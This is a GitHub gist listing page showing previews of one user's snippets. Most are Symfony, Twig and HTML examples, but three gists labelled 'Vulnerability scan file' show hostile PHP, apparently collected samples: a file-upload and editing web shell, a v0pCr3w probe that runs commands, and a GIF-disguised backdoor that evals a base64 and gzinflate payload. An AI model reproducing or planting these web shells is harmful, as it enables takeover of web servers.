Skip to content

Instantly share code, notes, and snippets.

View smottt's full-sized avatar

Metod smottt

View GitHub Profile
@smottt
smottt / gist:2971338
Created June 22, 2012 08:32
UserInterface equals method
<?php
class User implements UserInterface
{
// ...
/**
* Compares this user to another to determine if they are the same.
*
* @param UserInterface $user
@smottt
smottt / gist:2971330
Created June 22, 2012 08:30
UserInterface equals method
<?php
class User implements UserInterface
{
// ...
/**
* Compares this user to another to determine if they are the same.
*
* @param UserInterface $user
@smottt
smottt / contenteditable.html
Created April 11, 2012 15:31
contenteditable example
<html>
<head>
<title>contenteditable example</title>
</head>
<body>
<!-- html code ... -->
<article contenteditable="true" date-edit-url="update.php">
Some content here ...
</article>
@smottt
smottt / AcmeCommand.php
Created March 31, 2012 12:15
Quick tip for setting the correct host in your custom symfony2 command.
<?php
namespace Acme\DemoBundle\Command;
use Symfony\Bundle\FrameworkBundle\Command\ContainerAwareCommand;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Output\OutputInterface;
class AcmeCommand extends ContainerAwareCommand
{
@smottt
smottt / else.php
Created February 1, 2012 10:46
Vulnerability scan file
<?php
$content = stripslashes($_POST['content']);
$cfile = $_POST['cfile'];
$ufile = $_POST['ufile'];
echo '<b><br>'.php_uname().'<br></b>';
echo '<form action="" method="post" enctype="multipart/form-data" name="aw" id="aw">';
echo '<textarea name=content style="width:585px;height:200px">'.$content.'</textarea><br>';
echo '<input type="text" name="cfile" size="10" value="newfile.php">';
@smottt
smottt / lol.php
Created February 1, 2012 10:43
Vulnerability scan file
<?php
echo "v0pCr3w";
echo "sys:".php_uname()."";
$cmd = "echo nob0dyCr3w";
$eseguicmd = ex($cmd);
echo $eseguicmd;
@smottt
smottt / 2.php
Created February 1, 2012 10:41
Vulnerability scan file
GIF89a?????ÿÿÿ!ù????,???????D?;?<?php
@error_reporting(0);
@set_time_limit(0);
$lol = $_GET['lol'];
$osc = $_GET['osc'];
if (isset($lol)) {
eval(gzinflate(base64_decode('pZ...gE=')));
die;
}
@smottt
smottt / fix.php
Created January 31, 2012 20:08
Serialization of 'Symfony\Component\HttpFoundation\File\UploadedFile' is not allowed.
<?php
public function __sleep()
{
$ref = new \ReflectionClass(__CLASS__);
$props = $ref->getProperties(\ReflectionProperty::IS_PROTECTED);
$serialize_fields = array();
foreach ($props as $prop) {
<?php
/**
* DoctrineExtensions Mysql Function Pack
*
* LICENSE
*
* This source file is subject to the new BSD license that is bundled
* with this package in the file LICENSE.txt.
* If you did not receive a copy of the license and are unable to
@smottt
smottt / template.html.twig
Created January 16, 2012 15:12
Check if symfony2 form has errors in a twig template
{% if form.get('errors') is not empty %}
Magic errors display!
{% endif %}